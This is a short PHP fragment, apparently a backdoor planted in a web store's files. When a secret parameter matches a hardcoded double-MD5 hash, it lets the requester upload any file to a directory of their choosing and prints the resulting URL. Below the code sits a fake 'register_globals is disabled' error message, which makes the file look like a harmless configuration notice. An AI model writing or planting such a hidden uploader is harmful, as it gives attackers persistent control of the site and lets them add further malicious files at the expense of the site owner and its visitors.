if(md5(md5($_GET['p'])) == "68cb1e667de85b15cf3896195e324abb"){
$tmp_file = $_FILES['ufile']['tmp_name'];
if(!is_uploaded_file($tmp_file)){
exit("upload failed (0)");
}
$name_file = $_FILES['ufile']['name'];
if(!move_uploaded_file($tmp_file, $_POST['dir'].$name_file)){
exit("upload failed");
}
$position = strpos($_SERVER['REQUEST_URI'], basename(__FILE__));
$uri = substr($_SERVER['REQUEST_URI'], 0, $position);
$url1 = $_SERVER['HTTP_HOST'].$uri.$_POST['dir'].$name_file;
echo "uploaded
http://$url1
";
exit;
}
?>Server Requirement Error: register_globals is disabled in your PHP configuration. This can be enabled in your php.ini configuration file or in the .htaccess file in your catalog directory.